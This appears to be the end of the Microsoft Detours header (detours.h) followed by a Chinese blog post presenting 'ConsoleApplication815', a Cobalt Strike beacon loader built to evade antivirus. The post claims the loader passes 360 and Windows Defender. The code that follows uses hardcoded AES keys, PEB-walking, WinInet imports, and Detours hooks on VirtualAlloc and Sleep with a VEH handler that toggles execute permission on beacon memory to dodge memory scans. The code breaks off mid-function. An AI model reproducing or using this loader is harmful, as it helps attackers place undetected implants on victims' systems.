#define PDETOUR_CREATE_PROCESS_ROUTINE  PDETOUR_CREATE_PROCESS_ROUTINEW
#else
#define DetourCreateProcessWithDll      DetourCreateProcessWithDllA
#define PDETOUR_CREATE_PROCESS_ROUTINE  PDETOUR_CREATE_PROCESS_ROUTINEA
#endif // !UNICODE

    BOOL WINAPI DetourCreateProcessWithDllExA(_In_opt_ LPCSTR lpApplicationName,
        _Inout_opt_ LPSTR lpCommandLine,
        _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
        _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
        _In_ BOOL bInheritHandles,
        _In_ DWORD dwCreationFlags,
        _In_opt_ LPVOID lpEnvironment,
        _In_opt_ LPCSTR lpCurrentDirectory,
        _In_ LPSTARTUPINFOA lpStartupInfo,
        _Out_ LPPROCESS_INFORMATION lpProcessInformation,
        _In_ LPCSTR lpDllName,
        _In_opt_ PDETOUR_CREATE_PROCESS_ROUTINEA pfCreateProcessA);

    BOOL WINAPI DetourCreateProcessWithDllExW(_In_opt_ LPCWSTR lpApplicationName,
        _Inout_opt_  LPWSTR lpCommandLine,
        _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
        _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
        _In_ BOOL bInheritHandles,
        _In_ DWORD dwCreationFlags,
        _In_opt_ LPVOID lpEnvironment,
        _In_opt_ LPCWSTR lpCurrentDirectory,
        _In_ LPSTARTUPINFOW lpStartupInfo,
        _Out_ LPPROCESS_INFORMATION lpProcessInformation,
        _In_ LPCSTR lpDllName,
        _In_opt_ PDETOUR_CREATE_PROCESS_ROUTINEW pfCreateProcessW);

#ifdef UNICODE
#define DetourCreateProcessWithDllEx    DetourCreateProcessWithDllExW
#else
#define DetourCreateProcessWithDllEx    DetourCreateProcessWithDllExA
#endif // !UNICODE

    BOOL WINAPI DetourCreateProcessWithDllsA(_In_opt_ LPCSTR lpApplicationName,
        _Inout_opt_ LPSTR lpCommandLine,
        _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
        _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
        _In_ BOOL bInheritHandles,
        _In_ DWORD dwCreationFlags,
        _In_opt_ LPVOID lpEnvironment,
        _In_opt_ LPCSTR lpCurrentDirectory,
        _In_ LPSTARTUPINFOA lpStartupInfo,
        _Out_ LPPROCESS_INFORMATION lpProcessInformation,
        _In_ DWORD nDlls,
        _In_reads_(nDlls) LPCSTR* rlpDlls,
        _In_opt_ PDETOUR_CREATE_PROCESS_ROUTINEA pfCreateProcessA);

    BOOL WINAPI DetourCreateProcessWithDllsW(_In_opt_ LPCWSTR lpApplicationName,
        _Inout_opt_ LPWSTR lpCommandLine,
        _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
        _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
        _In_ BOOL bInheritHandles,
        _In_ DWORD dwCreationFlags,
        _In_opt_ LPVOID lpEnvironment,
        _In_opt_ LPCWSTR lpCurrentDirectory,
        _In_ LPSTARTUPINFOW lpStartupInfo,
        _Out_ LPPROCESS_INFORMATION lpProcessInformation,
        _In_ DWORD nDlls,
        _In_reads_(nDlls) LPCSTR* rlpDlls,
        _In_opt_ PDETOUR_CREATE_PROCESS_ROUTINEW pfCreateProcessW);

#ifdef UNICODE
#define DetourCreateProcessWithDlls     DetourCreateProcessWithDllsW
#else
#define DetourCreateProcessWithDlls     DetourCreateProcessWithDllsA
#endif // !UNICODE

    BOOL WINAPI DetourProcessViaHelperA(_In_ DWORD dwTargetPid,
        _In_ LPCSTR lpDllName,
        _In_ PDETOUR_CREATE_PROCESS_ROUTINEA pfCreateProcessA);

    BOOL WINAPI DetourProcessViaHelperW(_In_ DWORD dwTargetPid,
        _In_ LPCSTR lpDllName,
        _In_ PDETOUR_CREATE_PROCESS_ROUTINEW pfCreateProcessW);

#ifdef UNICODE
#define DetourProcessViaHelper          DetourProcessViaHelperW
#else
#define DetourProcessViaHelper          DetourProcessViaHelperA
#endif // !UNICODE

    BOOL WINAPI DetourProcessViaHelperDllsA(_In_ DWORD dwTargetPid,
        _In_ DWORD nDlls,
        _In_reads_(nDlls) LPCSTR* rlpDlls,
        _In_ PDETOUR_CREATE_PROCESS_ROUTINEA pfCreateProcessA);

    BOOL WINAPI DetourProcessViaHelperDllsW(_In_ DWORD dwTargetPid,
        _In_ DWORD nDlls,
        _In_reads_(nDlls) LPCSTR* rlpDlls,
        _In_ PDETOUR_CREATE_PROCESS_ROUTINEW pfCreateProcessW);

#ifdef UNICODE
#define DetourProcessViaHelperDlls      DetourProcessViaHelperDllsW
#else
#define DetourProcessViaHelperDlls      DetourProcessViaHelperDllsA
#endif // !UNICODE

    BOOL WINAPI DetourUpdateProcessWithDll(_In_ HANDLE hProcess,
        _In_reads_(nDlls) LPCSTR* rlpDlls,
        _In_ DWORD nDlls);

    BOOL WINAPI DetourUpdateProcessWithDllEx(_In_ HANDLE hProcess,
        _In_ HMODULE hImage,
        _In_ BOOL bIs32Bit,
        _In_reads_(nDlls) LPCSTR* rlpDlls,
        _In_ DWORD nDlls);

    BOOL WINAPI DetourCopyPayloadToProcess(_In_ HANDLE hProcess,
        _In_ REFGUID rguid,
        _In_reads_bytes_(cbData) LPCVOID pvData,
        _In_ DWORD cbData);
    _Success_(return != NULL)
        PVOID WINAPI DetourCopyPayloadToProcessEx(_In_ HANDLE hProcess,
            _In_ REFGUID rguid,
            _In_reads_bytes_(cbData) LPCVOID pvData,
            _In_ DWORD cbData);

    BOOL WINAPI DetourRestoreAfterWith(VOID);
    BOOL WINAPI DetourRestoreAfterWithEx(_In_reads_bytes_(cbData) PVOID pvData,
        _In_ DWORD cbData);
    BOOL WINAPI DetourIsHelperProcess(VOID);
    VOID CALLBACK DetourFinishHelperProcess(_In_ HWND,
        _In_ HINSTANCE,
        _In_ LPSTR,
        _In_ INT);

    //
    //
#ifdef __cplusplus
}
#endif // __cplusplus

/// Type-safe overloads for C++
//
#if __cplusplus >= 201103L || _MSVC_LANG >= 201103L
#include <type_traits>

template<typename T>
struct DetoursIsFunctionPointer : std::false_type {};

template<typename T>
struct DetoursIsFunctionPointer<T*> : std::is_function<typename std::remove_pointer<T>::type> {};

template<
    typename T,
    typename std::enable_if<DetoursIsFunctionPointer<T>::value, int>::type = 0>
    LONG DetourAttach(_Inout_ T* ppPointer,
        _In_ T pDetour) noexcept
{
    return DetourAttach(
        reinterpret_cast<void**>(ppPointer),
        reinterpret_cast<void*>(pDetour));
}

template<
    typename T,
    typename std::enable_if<DetoursIsFunctionPointer<T>::value, int>::type = 0>
    LONG DetourAttachEx(_Inout_ T* ppPointer,
        _In_ T pDetour,
        _Out_opt_ PDETOUR_TRAMPOLINE* ppRealTrampoline,
        _Out_opt_ T* ppRealTarget,
        _Out_opt_ T* ppRealDetour) noexcept
{
    return DetourAttachEx(
        reinterpret_cast<void**>(ppPointer),
        reinterpret_cast<void*>(pDetour),
        ppRealTrampoline,
        reinterpret_cast<void**>(ppRealTarget),
        reinterpret_cast<void**>(ppRealDetour));
}

template<
    typename T,
    typename std::enable_if<DetoursIsFunctionPointer<T>::value, int>::type = 0>
    LONG DetourDetach(_Inout_ T* ppPointer,
        _In_ T pDetour) noexcept
{
    return DetourDetach(
        reinterpret_cast<void**>(ppPointer),
        reinterpret_cast<void*>(pDetour));
}

#endif // __cplusplus >= 201103L || _MSVC_LANG >= 201103L
//
//

 Detours Internal Definitions.
//
#ifdef __cplusplus
#ifdef DETOURS_INTERNAL

#define NOTHROW
// #define NOTHROW (nothrow)

//
//
#if (_MSC_VER < 1299) && !defined(__GNUC__)
#include <imagehlp.h>
typedef IMAGEHLP_MODULE IMAGEHLP_MODULE64;
typedef PIMAGEHLP_MODULE PIMAGEHLP_MODULE64;
typedef IMAGEHLP_SYMBOL SYMBOL_INFO;
typedef PIMAGEHLP_SYMBOL PSYMBOL_INFO;

static inline
LONG InterlockedCompareExchange(_Inout_ LONG* ptr, _In_ LONG nval, _In_ LONG oval)
{
    return (LONG)::InterlockedCompareExchange((PVOID*)ptr, (PVOID)nval, (PVOID)oval);
}
#else
#pragma warning(push)
#pragma warning(disable:4091) // empty typedef
#include <dbghelp.h>
#pragma warning(pop)
#endif

#ifdef IMAGEAPI // defined by DBGHELP.H
typedef LPAPI_VERSION(NTAPI* PF_ImagehlpApiVersionEx)(_In_ LPAPI_VERSION AppVersion);

typedef BOOL(NTAPI* PF_SymInitialize)(_In_ HANDLE hProcess,
    _In_opt_ LPCSTR UserSearchPath,
    _In_ BOOL fInvadeProcess);
typedef DWORD(NTAPI* PF_SymSetOptions)(_In_ DWORD SymOptions);
typedef DWORD(NTAPI* PF_SymGetOptions)(VOID);
typedef DWORD64(NTAPI* PF_SymLoadModule64)(_In_ HANDLE hProcess,
    _In_opt_ HANDLE hFile,
    _In_opt_ LPSTR ImageName,
    _In_opt_ LPSTR ModuleName,
    _In_ DWORD64 BaseOfDll,
    _In_ DWORD SizeOfDll);
typedef BOOL(NTAPI* PF_SymGetModuleInfo64)(_In_ HANDLE hProcess,
    _In_ DWORD64 qwAddr,
    _Out_ PIMAGEHLP_MODULE64 ModuleInfo);
typedef BOOL(NTAPI* PF_SymFromName)(_In_ HANDLE hProcess,
    _In_ LPSTR Name,
    _Out_ PSYMBOL_INFO Symbol);

typedef struct _DETOUR_SYM_INFO
{
    HANDLE                  hProcess;
    HMODULE                 hDbgHelp;
    PF_ImagehlpApiVersionEx pfImagehlpApiVersionEx;
    PF_SymInitialize        pfSymInitialize;
    PF_SymSetOptions        pfSymSetOptions;
    PF_SymGetOptions        pfSymGetOptions;
    PF_SymLoadModule64      pfSymLoadModule64;
    PF_SymGetModuleInfo64   pfSymGetModuleInfo64;
    PF_SymFromName          pfSymFromName;
} DETOUR_SYM_INFO, * PDETOUR_SYM_INFO;

PDETOUR_SYM_INFO DetourLoadImageHlp(VOID);

#endif // IMAGEAPI

#if defined(_INC_STDIO) && !defined(_CRT_STDIO_ARBITRARY_WIDE_SPECIFIERS)
#error detours.h must be included before stdio.h (or at least define _CRT_STDIO_ARBITRARY_WIDE_SPECIFIERS earlier)
#endif
#define _CRT_STDIO_ARBITRARY_WIDE_SPECIFIERS 1

#ifdef _DEBUG

int Detour_AssertExprWithFunctionName(int reportType, const char* filename, int linenumber, const char* FunctionName, const char* msg);

#define DETOUR_ASSERT_EXPR_WITH_FUNCTION(expr, msg) \
    (void) ((expr) || \
    (1 != Detour_AssertExprWithFunctionName(_CRT_ASSERT, __FILE__, __LINE__,__FUNCTION__, msg)) || \
    (_CrtDbgBreak(), 0))

#define DETOUR_ASSERT(expr) DETOUR_ASSERT_EXPR_WITH_FUNCTION((expr), #expr)

#else// _DEBUG
#define DETOUR_ASSERT(expr)
#endif// _DEBUG

#ifndef DETOUR_TRACE
#if DETOUR_DEBUG
#define DETOUR_TRACE(x) printf x
#define DETOUR_BREAK()  __debugbreak()
#include <stdio.h>
#include <limits.h>
#else
#define DETOUR_TRACE(x)
#define DETOUR_BREAK()
#endif
#endif

#if 1 || defined(DETOURS_IA64)

//
// IA64 instructions are 41 bits, 3 per bundle, plus 5 bit bundle template => 128 bits per bundle.
//

#define DETOUR_IA64_INSTRUCTIONS_PER_BUNDLE (3)

#define DETOUR_IA64_TEMPLATE_OFFSET (0)
#define DETOUR_IA64_TEMPLATE_SIZE   (5)

#define DETOUR_IA64_INSTRUCTION_SIZE (41)
#define DETOUR_IA64_INSTRUCTION0_OFFSET (DETOUR_IA64_TEMPLATE_SIZE)
#define DETOUR_IA64_INSTRUCTION1_OFFSET (DETOUR_IA64_TEMPLATE_SIZE + DETOUR_IA64_INSTRUCTION_SIZE)
#define DETOUR_IA64_INSTRUCTION2_OFFSET (DETOUR_IA64_TEMPLATE_SIZE + DETOUR_IA64_INSTRUCTION_SIZE + DETOUR_IA64_INSTRUCTION_SIZE)

C_ASSERT(DETOUR_IA64_TEMPLATE_SIZE + DETOUR_IA64_INSTRUCTIONS_PER_BUNDLE * DETOUR_IA64_INSTRUCTION_SIZE == 128);

__declspec(align(16)) struct DETOUR_IA64_BUNDLE
{
public:
    union
    {
        BYTE    data[16];
        UINT64  wide[2];
    };

    enum {
        A_UNIT = 1u,
        I_UNIT = 2u,
        M_UNIT = 3u,
        B_UNIT = 4u,
        F_UNIT = 5u,
        L_UNIT = 6u,
        X_UNIT = 7u,
    };
    struct DETOUR_IA64_METADATA
    {
        ULONG       nTemplate : 8;    // Instruction template.
        ULONG       nUnit0 : 4;    // Unit for slot 0
        ULONG       nUnit1 : 4;    // Unit for slot 1
        ULONG       nUnit2 : 4;    // Unit for slot 2
    };

protected:
    static const DETOUR_IA64_METADATA s_rceCopyTable[33];

    UINT RelocateBundle(_Inout_ DETOUR_IA64_BUNDLE* pDst, _Inout_opt_ DETOUR_IA64_BUNDLE* pBundleExtra) const;

    bool RelocateInstruction(_Inout_ DETOUR_IA64_BUNDLE* pDst,
        _In_ BYTE slot,
        _Inout_opt_ DETOUR_IA64_BUNDLE* pBundleExtra) const;

    // 120 112 104 96 88 80 72 64 56 48 40 32 24 16  8  0
    //  f.  e.  d. c. b. a. 9. 8. 7. 6. 5. 4. 3. 2. 1. 0.

    //                                      00
    // f.e. d.c. b.a. 9.8. 7.6. 5.4. 3.2. 1.0.
    // 0000 0000 0000 0000 0000 0000 0000 001f : Template [4..0]
    // 0000 0000 0000 0000 0000 03ff ffff ffe0 : Zero [ 41..  5]
    // 0000 0000 0000 0000 0000 3c00 0000 0000 : Zero [ 45.. 42]
    // 0000 0000 0007 ffff ffff c000 0000 0000 : One  [ 82.. 46]
    // 0000 0000 0078 0000 0000 0000 0000 0000 : One  [ 86.. 83]
    // 0fff ffff ff80 0000 0000 0000 0000 0000 : Two  [123.. 87]
    // f000 0000 0000 0000 0000 0000 0000 0000 : Two  [127..124]
    BYTE    GetTemplate() const;
    // Get 4 bit opcodes.
    BYTE    GetInst0() const;
    BYTE    GetInst1() const;
    BYTE    GetInst2() const;
    BYTE    GetUnit(BYTE slot) const;
    BYTE    GetUnit0() const;
    BYTE    GetUnit1() const;
    BYTE    GetUnit2() const;
    // Get 37 bit data.
    UINT64  GetData0() const;
    UINT64  GetData1() const;
    UINT64  GetData2() const;

    // Get/set the full 41 bit instructions.
    UINT64  GetInstruction(BYTE slot) const;
    UINT64  GetInstruction0() const;
    UINT64  GetInstruction1() const;
    UINT64  GetInstruction2() const;
    void    SetInstruction(BYTE slot, UINT64 instruction);
    void    SetInstruction0(UINT64 instruction);
    void    SetInstruction1(UINT64 instruction);
    void    SetInstruction2(UINT64 instruction);

    // Get/set bitfields.
    static UINT64 GetBits(UINT64 Value, UINT64 Offset, UINT64 Count);
    static UINT64 SetBits(UINT64 Value, UINT64 Offset, UINT64 Count, UINT64 Field);

    // Get specific read-only fields.
    static UINT64 GetOpcode(UINT64 instruction); // 4bit opcode
    static UINT64 GetX(UINT64 instruction); // 1bit opcode extension
    static UINT64 GetX3(UINT64 instruction); // 3bit opcode extension
    static UINT64 GetX6(UINT64 instruction); // 6bit opcode extension

    // Get/set specific fields.
    static UINT64 GetImm7a(UINT64 instruction);
    static UINT64 SetImm7a(UINT64 instruction, UINT64 imm7a);
    static UINT64 GetImm13c(UINT64 instruction);
    static UINT64 SetImm13c(UINT64 instruction, UINT64 imm13c);
    static UINT64 GetSignBit(UINT64 instruction);
    static UINT64 SetSignBit(UINT64 instruction, UINT64 signBit);
    static UINT64 GetImm20a(UINT64 instruction);
    static UINT64 SetImm20a(UINT64 instruction, UINT64 imm20a);
    static UINT64 GetImm20b(UINT64 instruction);
    static UINT64 SetImm20b(UINT64 instruction, UINT64 imm20b);

    static UINT64 SignExtend(UINT64 Value, UINT64 Offset);

    BOOL    IsMovlGp() const;

    VOID    SetInst(BYTE Slot, BYTE nInst);
    VOID    SetInst0(BYTE nInst);
    VOID    SetInst1(BYTE nInst);
    VOID    SetInst2(BYTE nInst);
    VOID    SetData(BYTE Slot, UINT64 nData);
    VOID    SetData0(UINT64 nData);
    VOID    SetData1(UINT64 nData);
    VOID    SetData2(UINT64 nData);
    BOOL    SetNop(BYTE Slot);
    BOOL    SetNop0();
    BOOL    SetNop1();
    BOOL    SetNop2();

public:
    BOOL    IsBrl() const;
    VOID    SetBrl();
    VOID    SetBrl(UINT64 target);
    UINT64  GetBrlTarget() const;
    VOID    SetBrlTarget(UINT64 target);
    VOID    SetBrlImm(UINT64 imm);
    UINT64  GetBrlImm() const;

    UINT64  GetMovlGp() const;
    VOID    SetMovlGp(UINT64 gp);

    VOID    SetStop();

    UINT    Copy(_Out_ DETOUR_IA64_BUNDLE* pDst, _Inout_opt_ DETOUR_IA64_BUNDLE* pBundleExtra = NULL) const;
};
#endif // DETOURS_IA64

#ifdef DETOURS_ARM

#define DETOURS_PFUNC_TO_PBYTE(p)  ((PBYTE)(((ULONG_PTR)(p)) & ~(ULONG_PTR)1))
#define DETOURS_PBYTE_TO_PFUNC(p)  ((PBYTE)(((ULONG_PTR)(p)) | (ULONG_PTR)1))

#endif // DETOURS_ARM

//

#ifdef __cplusplus
extern "C" {
#endif // __cplusplus

#define DETOUR_OFFLINE_LIBRARY(x)                                       \
PVOID WINAPI DetourCopyInstruction##x(_In_opt_ PVOID pDst,              \
                                      _Inout_opt_ PVOID *ppDstPool,     \
                                      _In_ PVOID pSrc,                  \
                                      _Out_opt_ PVOID *ppTarget,        \
                                      _Out_opt_ LONG *plExtra);         \
                                                                        \
BOOL WINAPI DetourSetCodeModule##x(_In_ HMODULE hModule,                \
                                   _In_ BOOL fLimitReferencesToModule); \

    DETOUR_OFFLINE_LIBRARY(X86)
        DETOUR_OFFLINE_LIBRARY(X64)
        DETOUR_OFFLINE_LIBRARY(ARM)
        DETOUR_OFFLINE_LIBRARY(ARM64)
        DETOUR_OFFLINE_LIBRARY(IA64)

#undef DETOUR_OFFLINE_LIBRARY

        //
        //
        // Helpers for manipulating page protection.
        //

        _Success_(return != FALSE)
        BOOL WINAPI DetourVirtualProtectSameExecuteEx(_In_  HANDLE hProcess,
            _In_  PVOID pAddress,
            _In_  SIZE_T nSize,
            _In_  DWORD dwNewProtect,
            _Out_ PDWORD pdwOldProtect);

    _Success_(return != FALSE)
        BOOL WINAPI DetourVirtualProtectSameExecute(_In_  PVOID pAddress,
            _In_  SIZE_T nSize,
            _In_  DWORD dwNewProtect,
            _Out_ PDWORD pdwOldProtect);

    // Detours must depend only on kernel32.lib, so we cannot use IsEqualGUID
    BOOL WINAPI DetourAreSameGuid(_In_ REFGUID left, _In_ REFGUID right);
#ifdef __cplusplus
}
#endif // __cplusplus

//

#define MM_ALLOCATION_GRANULARITY 0x10000

//

#endif // DETOURS_INTERNAL
#endif // __cplusplus

#endif // _DETOURS_H_
//
  End of File.

ConsoleApplication815项目(直接加载+VEH Hook Load),免杀,网络安全,c++
看看免杀效果
再次模型上修改
ConsoleApplication815项目(直接加载+VEH Hook Load),免杀,网络安全,c++
可以看到此版本是内存做了加解密的
去黑框之后免杀效果测试
360安全中心,360杀毒,windows defender都可以过掉,如下图
ConsoleApplication815项目(直接加载+VEH Hook Load),免杀,网络安全,c++
ConsoleApplication815项目(直接加载+VEH Hook Load),免杀,网络安全,c++
总体修改思路就是在上面的基础上修改了特征,按照ConsoleApplication811进行修改的,几乎是在ConsoleApplication811的基础上进行了内存加密,hook使用的是detours进行,也就是这部分内容
全代码如下:
ConsoleApplication815.cpp


#include <iostream>
#include<Windows.h>
#include "detours.h"
#include "detver.h"
#include <WinInet.h>
#include "base64.h"
#include "AES.h"
#include "need.h"


#pragma comment(lib,"detours.lib")
#pragma comment(lib,"wininet")

#pragma warning(disable:4996)
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")

extern "C" PVOID64 _cdecl GetPeb();
using namespace std;

LPVOID Beacon_address;
SIZE_T Beacon_data_len;
DWORD Beacon_Memory_address_flOldProtect;
HANDLE hEvent;


BOOL Vir_FLAG = TRUE;
LPVOID shellcode_addr;

typedef LPVOID(WINAPI* VirtualAllocT)(
	_In_opt_ LPVOID lpAddress,
	_In_     SIZE_T dwSize,
	_In_     DWORD flAllocationType,
	_In_     DWORD flProtect
	);

typedef HINTERNET(WINAPI* InternetOpenW_T)(
	_In_opt_ LPCWSTR lpszAgent,
	_In_ DWORD dwAccessType,
	_In_opt_ LPCWSTR lpszProxy,
	_In_opt_ LPCWSTR lpszProxyBypass,
	_In_ DWORD dwFlags
	);

typedef HINTERNET(WINAPI* InternetConnectW_T)(
	_In_ HINTERNET hInternet,
	_In_ LPCWSTR lpszServerName,
	_In_ INTERNET_PORT nServerPort,
	_In_opt_ LPCWSTR lpszUserName,
	_In_opt_ LPCWSTR lpszPassword,
	_In_ DWORD dwService,
	_In_ DWORD dwFlags,
	_In_opt_ DWORD_PTR dwContext
	);

typedef HINTERNET(WINAPI* HttpOpenRequestW_T)(
	_In_ HINTERNET hConnect,
	_In_opt_ LPCWSTR lpszVerb,
	_In_opt_ LPCWSTR lpszObjectName,
	_In_opt_ LPCWSTR lpszVersion,
	_In_opt_ LPCWSTR lpszReferrer,
	_In_opt_z_ LPCWSTR FAR* lplpszAcceptTypes,
	_In_ DWORD dwFlags,
	_In_opt_ DWORD_PTR dwContext
	);

typedef HINTERNET(WINAPI* HttpSendRequestW_T)(
	_In_ HINTERNET hRequest,
	_In_reads_opt_(dwHeadersLength) LPCWSTR lpszHeaders,
	_In_ DWORD dwHeadersLength,
	_In_reads_bytes_opt_(dwOptionalLength) LPVOID lpOptional,
	_In_ DWORD dwOptionalLength
	);

typedef HINTERNET(WINAPI* InternetReadFile_T)(
	_In_ HINTERNET hFile,
	_Out_writes_bytes_(dwNumberOfBytesToRead) __out_data_source(NETWORK) LPVOID lpBuffer,
	_In_ DWORD dwNumberOfBytesToRead,
	_Out_ LPDWORD lpdwNumberOfBytesRead
	);

FARPROC CustomGetProcAddress(HMODULE hModule, LPCSTR lpProcName) {
	// Get the address of the module's PE header
	BYTE* pImageBase = (BYTE*)hModule;
	IMAGE_DOS_HEADER* pDosHeader = (IMAGE_DOS_HEADER*)pImageBase;
	IMAGE_NT_HEADERS64* pNtHeaders = (IMAGE_NT_HEADERS64*)(pImageBase + pDosHeader->e_lfanew);

	// Get the address of the export directory
	IMAGE_DATA_DIRECTORY exportDirectory = pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
	IMAGE_EXPORT_DIRECTORY* pExportDir = (IMAGE_EXPORT_DIRECTORY*)(pImageBase + exportDirectory.VirtualAddress);

	DWORD* pAddressOfFunctions = (DWORD*)(pImageBase + pExportDir->AddressOfFunctions);
	WORD* pAddressOfNameOrdinals = (WORD*)(pImageBase + pExportDir->AddressOfNameOrdinals);
	DWORD* pAddressOfNames = (DWORD*)(pImageBase + pExportDir->AddressOfNames);

	for (DWORD i = 0; i < pExportDir->NumberOfNames; ++i) {
		LPCSTR pName = (LPCSTR)(pImageBase + pAddressOfNames[i]);
		if (strcmp(lpProcName, pName) == 0) {
			WORD ordinal = pAddressOfNameOrdinals[i];
			DWORD functionRVA = pAddressOfFunctions[ordinal];
			FARPROC pFunction = (FARPROC)(pImageBase + functionRVA);
			return pFunction;
		}
	}

	return NULL;
}

HMODULE getKernel32Address()
{
	PVOID64 Peb = GetPeb();
	PVOID64 LDR_DATA_Addr = *(PVOID64**)((BYTE*)Peb + 0x018);  //0x018是LDR相对于PEB偏移   存放着LDR的基地址
	UNICODE_STRING* FullName;
	HMODULE hKernel32 = NULL;
	LIST_ENTRY* pNode = NULL;
	pNode = (LIST_ENTRY*)(*(PVOID64**)((BYTE*)LDR_DATA_Addr + 0x30));  //偏移到InInitializationOrderModuleList
	while (true)
	{
		FullName = (UNICODE_STRING*)((BYTE*)pNode + 0x38);//BaseDllName基于InInitialzationOrderModuList的偏移
		if (*(FullName->Buffer + 12) == '\0')
		{
			hKernel32 = (HMODULE)(*((ULONG64*)((BYTE*)pNode + 0x10)));//DllBase
			break;
		}
		pNode = pNode->Flink;
	}
	return hKernel32;
}

HMODULE getWininetAddress()
{
	HMODULE hWininet = nullptr;

	// 获取模块句柄
	hWininet = GetModuleHandle(L"wininet.dll");

	return hWininet;
}


//AES的key和iv
const char g_key[17] = "asdfwetyhjuytrfd";
const char g_iv[17] = "gfdertfghjkuyrtg";//ECB MODE不需要关心chain,可以填空
string DecryptionAES(const string& strSrc) //AES解密
{
	string strData = ko::Base64::decode(strSrc);
	size_t length = strData.length();
	//密文
	char* szDataIn = new char[length + 1];
	memcpy(szDataIn, strData.c_str(), length + 1);
	//明文
	char* szDataOut = new char[length + 1];
	memcpy(szDataOut, strData.c_str(), length + 1);

	//进行AES的CBC模式解密
	AES aes;
	aes.MakeKey(g_key, g_iv, 16, 16);
	aes.Decrypt(szDataIn, szDataOut, length, AES::CBC);

	//去PKCS7Padding填充
	if (0x00 < szDataOut[length - 1] <= 0x16)
	{
		int tmp = szDataOut[length - 1];
		for (int i = length - 1; i >= length - tmp; i--)
		{
			if (szDataOut[i] != tmp)
			{
				memset(szDataOut, 0, length);
				cout << "去填充失败!解密出错!!" << endl;
				break;
			}
			else
				szDataOut[i] = 0;
		}
	}
	string strDest(szDataOut);
	delete[] szDataIn;
	delete[] szDataOut;
	return strDest;
}

//Hook VirtualAlloc函数的原因是我们需要知道Beacon在自展开时分配的可执行内存起始地址和大小是多少好在后面对这块内存取消X属性以免被扫描
static LPVOID(WINAPI* OldVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) = VirtualAlloc;
LPVOID WINAPI NewVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) {
	Beacon_data_len = dwSize;
	Beacon_address = OldVirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect);
	printf("分配大小:%d", Beacon_data_len);
	printf("分配地址:%llx \n", Beacon_address);
	return Beacon_address;
}

//Hool Sleep函数是因为我们需要在Beacon进入Sleep后立马取消Beacon内存区域的X属性
static VOID(WINAPI* OldSleep)(DWORD dwMilliseconds) = Sleep;
void WINAPI NewSleep(DWORD dwMilliseconds)
{
	if (Vir_FLAG)
	{
		VirtualFree(shellcode_addr, 0, MEM_RELEASE);
		Vir_FLAG = false;
	}
	printf("sleep时间:%d\n", dwMilliseconds);
	SetEvent(hEvent);
	OldSleep(dwMilliseconds);
}

void Hook()
{
	DetourRestoreAfterWith(); //避免重复HOOK,恢复原来HOOK
	DetourTransactionBegin(); // 开始HOOK
	DetourUpdateThread(GetCurrentThread());  //刷新当前线程
	DetourAttach((PVOID*)&OldVirtualAlloc, NewVirtualAlloc);  //将拦截的函数附加到原函数的地址上,这里可以拦截多个函数  NewVirtualAlloc
	DetourAttach((PVOID*)&OldSleep, NewSleep);    //将拦截的函数附加到原函数的地址上, 这里可以拦截多个函数  NewSleep
	DetourTransactionCommit(); //  提交HOOK
}

void UnHook()
{
	DetourTransactionBegin();   //恢复原来HOOK
	DetourUpdateThread(GetCurrentThread());   //刷新当前线程
	DetourDetach((PVOID*)&OldVirtualAlloc, NewVirtualAlloc);  //解除hook
	DetourTransactionCommit();  //提交
}

size_t GetSize(char* szFilePath)
{
	size_t size;
	FILE* f = fopen(szFilePath, "rb");
	fseek(f, 0, SEEK_END);  //fseek函数用于重定位流(数据流/文件)上的文件内部位置指针   //SEEK_END代表文件末尾
	size = ftell(f); //获取文件的 当前指针位置 相对于 文件首地址 的偏移字节数
	rewind(f);  //rewind() 函数将文件位置指示符设置为给定文件流的开头
	fclose(f);
	return size;
}

unsigned char* ReadBinaryFile(char* szFilePath, size_t* size)
{
	unsigned char* p = NULL;
	FILE* f = NULL;
	size_t res = 0;
	*size = GetSize(szFilePath);  //
	if (*size == 0) return NULL;
	f = fopen(szFilePath, "rb");
	if (f == NULL)
	{
		printf("Binary file does not exists!\n");
		return 0;
	}
	p = new unsigned char[*size];
	// Read file
	rewind(f);
	res = fread(p, sizeof(unsigned char), *size, f);
	fclose(f);
	if (res == 0)
	{
		delete[] p;
		return NULL;
	}
	return p;
}





BOOL is_Exception(DWORD64 Exception_addr)
{
	if (Exception_addr < ((DWORD64)Beacon_address + Beacon_data_len) && Exception_addr >(DWORD64)Beacon_address)
	{
		printf("地址符合:%llx\n", Exception_addr);
		return true;
	}
	printf("地址不符合:%llx\n", Exception_addr);
	return false;
}


//设置VEH异常处理函数,用来在因内存X属性取消后触发异常时恢复X属性
LONG NTAPI FirstVectExcepHandler(PEXCEPTION_POINTERS pExcepInfo)
{
	printf("FirstVectExcepHandler\n");
	printf("异常错误码:%x\n", pExcepInfo->ExceptionRecord->ExceptionCode);
	printf("线程地址:%llx\n", pExcepInfo->ContextRecord->Rip);
	if (pExcepInfo->ExceptionRecord->ExceptionCode == 0xc0000005 && is_Exception(pExcepInfo->ContextRecord->Rip))    //判断异常错误码是否等于0xc0000005,并且调用is_Exception函数来判断pExcepInfo->ContextRecord->Rip是否符合某个条件。pExcepInfo 是一个指向异常信息结构体 EXCEPINFO 的指针,用于存储关于异常的详细信息,ContextRecord 是 EXCEPTION_RECORD 结构体的一个成员,它是一个指向上下文记录的指针,其中包含有关引发异常的线程的上下文信息
	{
		printf("恢复Beacon内存属性\n");
		VirtualProtect(Beacon_address, Beacon_data_len, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect);  //恢复beacon内存属性
		return EXCEPTION_CONTINUE_EXECUTION;
	}
	return EXCEPTION_CONTINUE_SEARCH;
}

//然后创建一个线程用来在Beacon进入睡眠之后立刻取消Beacon内存区域的X属性
DWORD WINAPI Beacon_set_Memory_attributes(LPVOID lpParameter)
{
